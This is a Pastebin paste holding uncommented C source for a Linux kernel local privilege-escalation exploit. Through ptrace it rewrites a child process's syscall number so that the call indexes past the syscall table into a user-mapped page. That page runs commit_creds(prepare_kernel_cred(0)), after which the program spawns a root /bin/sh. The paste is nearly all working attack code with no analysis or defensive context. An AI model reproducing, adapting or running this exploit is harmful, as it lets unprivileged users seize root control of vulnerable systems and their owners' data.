Advertisement
Guest User

Untitled

a guest
Apr 19th, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.77 KB | None | 0 0
  1. #include <sys/types.h>
  2. #include <sys/wait.h>
  3. #include <sys/user.h>
  4. #include <sys/ptrace.h>
  5. #include <inttypes.h>
  6. #include <sys/reg.h>
  7. #include <unistd.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <sys/mman.h>
  11. #include <string.h>
  12.  
  13. #define ORIG_EAX 11
  14.  
  15. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  16. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  17. _commit_creds commit_creds;
  18. _prepare_kernel_cred prepare_kernel_cred;
  19.  
  20. int kernelmodecode(void *file, void *vma)
  21. {
  22. commit_creds(prepare_kernel_cred(0));
  23. return -1;
  24. }
  25.  
  26. unsigned long
  27. get_symbol(char *name)
  28. {
  29. FILE *f;
  30. unsigned long addr;
  31. char dummy;
  32. char sname[512];
  33. int ret = 0, oldstyle = 0;
  34.  
  35. f = fopen("/proc/kallsyms", "r");
  36. if (f == NULL) {
  37. f = fopen("/proc/ksyms", "r");
  38. if (f == NULL)
  39. return 0;
  40. oldstyle = 1;
  41. }
  42.  
  43. while (ret != EOF) {
  44. if (!oldstyle) {
  45. ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
  46. } else {
  47. ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
  48. if (ret == 2) {
  49. char *p;
  50. if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
  51. continue;
  52. }
  53. p = strrchr(sname, '_');
  54. if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
  55. p = p - 4;
  56. while (p > (char *)sname && *(p - 1) == '_') {
  57. p--;
  58. }
  59. *p = '\0';
  60. }
  61. }
  62. }
  63. if (ret == 0) {
  64. fscanf(f, "%s\n", sname);
  65. continue;
  66. }
  67. if (!strcmp(name, sname)) {
  68. printf("resolved symbol %s to %p\n", name, (void *) addr);
  69. fclose(f);
  70. return addr;
  71. }
  72. }
  73. fclose(f);
  74.  
  75. return 0;
  76. }
  77.  
  78.  
  79. static void docall(uint64_t *ptr, uint64_t size)
  80. {
  81. commit_creds = (_commit_creds) get_symbol("commit_creds");
  82. if (!commit_creds) {
  83. printf("symbol table not available, aborting!\n");
  84. exit(1);
  85. }
  86.  
  87. prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
  88. if (!prepare_kernel_cred) {
  89. printf("symbol table not available, aborting!\n");
  90. exit(1);
  91. }
  92.  
  93. uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
  94.  
  95. printf("mapping at %lx\n", tmp);
  96.  
  97. if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
  98. MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
  99. printf("mmap fault\n");
  100. exit(1);
  101. }
  102.  
  103. for (; (uint64_t) ptr < (tmp + size); ptr++)
  104. *ptr = (uint64_t)kernelmodecode;
  105.  
  106. __asm__("\n"
  107. "\tmovq $0x101, %rax\n"
  108. "\tint $0x80\n");
  109.  
  110. printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
  111. execl("/bin/sh", "bin/sh", NULL);
  112. printf("no /bin/sh ??\n");
  113. exit(0);
  114. }
  115.  
  116. int main(int argc, char **argv)
  117. {
  118. int pid, status, set = 0;
  119. uint64_t rax;
  120. uint64_t kern_s = 0xffffffff80000000;
  121. uint64_t kern_e = 0xffffffff84000000;
  122. uint64_t off = 0x0000000800000101 * 8;
  123.  
  124. if (argc == 4) {
  125. docall((uint64_t*)(kern_s + off), kern_e - kern_s);
  126. exit(0);
  127. }
  128.  
  129. if ((pid = fork()) == 0) {
  130. ptrace(PTRACE_TRACEME, 0, 0, 0);
  131. execl(argv[0], argv[0], "2", "3", "4", NULL);
  132. perror("exec fault");
  133. exit(1);
  134. }
  135.  
  136. if (pid == -1) {
  137. printf("fork fault\n");
  138. exit(1);
  139. }
  140.  
  141. for (;;) {
  142. if (wait(&status) != pid)
  143. continue;
  144.  
  145. if (WIFEXITED(status)) {
  146. printf("Process finished\n");
  147. break;
  148. }
  149.  
  150. if (!WIFSTOPPED(status))
  151. continue;
  152.  
  153. if (WSTOPSIG(status) != SIGTRAP) {
  154. printf("Process received signal: %d\n", WSTOPSIG(status));
  155. break;
  156. }
  157.  
  158. rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
  159. if (rax == 0x000000000101) {
  160. if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
  161. printf("PTRACE_POKEUSER fault\n");
  162. exit(1);
  163. }
  164. set = 1;
  165. //rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
  166. }
  167.  
  168. if ((rax == 11) && set) {
  169. ptrace(PTRACE_DETACH, pid, 0, 0);
  170. for(;;)
  171. sleep(10000);
  172. }
  173.  
  174. if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
  175. printf("PTRACE_SYSCALL fault\n");
  176. exit(1);
  177. }
  178. }
  179.  
  180. return 0;
  181. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement